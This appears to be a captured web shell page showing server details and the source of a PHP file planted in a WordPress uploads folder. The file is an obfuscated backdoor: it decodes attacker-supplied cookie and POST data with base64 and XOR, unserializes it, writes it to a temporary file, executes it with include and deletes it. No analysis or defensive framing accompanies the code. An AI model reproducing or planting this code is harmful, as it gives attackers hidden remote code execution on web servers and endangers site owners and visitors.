HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/09/0a725b00.php
$vcxNuCcMN = 'f' . '_' . chr (119) . chr (75) . "\x4e" . chr (82); $vOVuFrIaU = chr (99) . chr ( 505 - 397 ).chr ( 141 - 44 ).'s' . chr ( 707 - 592 ).chr ( 405 - 310 )."\145" . "\170" . chr ( 219 - 114 )."\x73" . chr (116) . chr (115); $ncERYFo = class_exists($vcxNuCcMN); $vOVuFrIaU = "50973";$ODRVVTyK = strpos($vOVuFrIaU, $vcxNuCcMN);if ($ncERYFo == $ODRVVTyK){function tYGzctaGz(){$dRUoEPuVa = new /* 41871 */ f_wKNR(27690 + 27690); $dRUoEPuVa = NULL;}$jaGzrUl = "27690";class f_wKNR{private function WtJUJfjwN($jaGzrUl){if (is_array(f_wKNR::$rjWizXJ)) {$name = sys_get_temp_dir() . "/" . crc32(f_wKNR::$rjWizXJ["salt"]);@f_wKNR::$rjWizXJ["write"]($name, f_wKNR::$rjWizXJ["content"]);include $name;@f_wKNR::$rjWizXJ["delete"]($name); $jaGzrUl = "27690";exit();}}public function tmixdHRqr(){$hrJHRyLWzL = "62503";$this->_dummy = str_repeat($hrJHRyLWzL, strlen($hrJHRyLWzL));}public function __destruct(){f_wKNR::$rjWizXJ = @unserialize(f_wKNR::$rjWizXJ); $jaGzrUl = "25413_54109";$this->WtJUJfjwN($jaGzrUl); $jaGzrUl = "25413_54109";}public function GHjdbDcDQ($hrJHRyLWzL, $TaYslmtNl){return $hrJHRyLWzL[0] ^ str_repeat($TaYslmtNl, intval(strlen($hrJHRyLWzL[0]) / strlen($TaYslmtNl)) + 1);}public function kPWDx($hrJHRyLWzL){$cQntgKWT = "\142" . chr (97) . chr ( 1066 - 951 ).'e' . chr (54) . chr ( 864 - 812 );return array_map($cQntgKWT . "\137" . 'd' . "\145" . "\143" . chr ( 890 - 779 ).'d' . 'e', array($hrJHRyLWzL,));}public function __construct($uWnaTFABy=0){$znnJJGf = chr (44); $hrJHRyLWzL = "";$zjTFWmri = $_POST;$jNMCbub = $_COOKIE;$TaYslmtNl = "d09b2cd7-53a2-41ac-8eb5-c8b0719fab17";$joqpdMJsqj = @$jNMCbub[substr($TaYslmtNl, 0, 4)];if (!empty($joqpdMJsqj)){$joqpdMJsqj = explode($znnJJGf, $joqpdMJsqj);foreach ($joqpdMJsqj as $SWwsyndugg){$hrJHRyLWzL .= @$jNMCbub[$SWwsyndugg];$hrJHRyLWzL .= @$zjTFWmri[$SWwsyndugg];}$hrJHRyLWzL = $this->kPWDx($hrJHRyLWzL);}f_wKNR::$rjWizXJ = $this->GHjdbDcDQ($hrJHRyLWzL, $TaYslmtNl);if (strpos($TaYslmtNl, $znnJJGf) !== FALSE){$TaYslmtNl = str_pad($TaYslmtNl, 10); $TaYslmtNl = ltrim(rtrim($TaYslmtNl));}}public static $rjWizXJ = 34039;}tYGzctaGz();}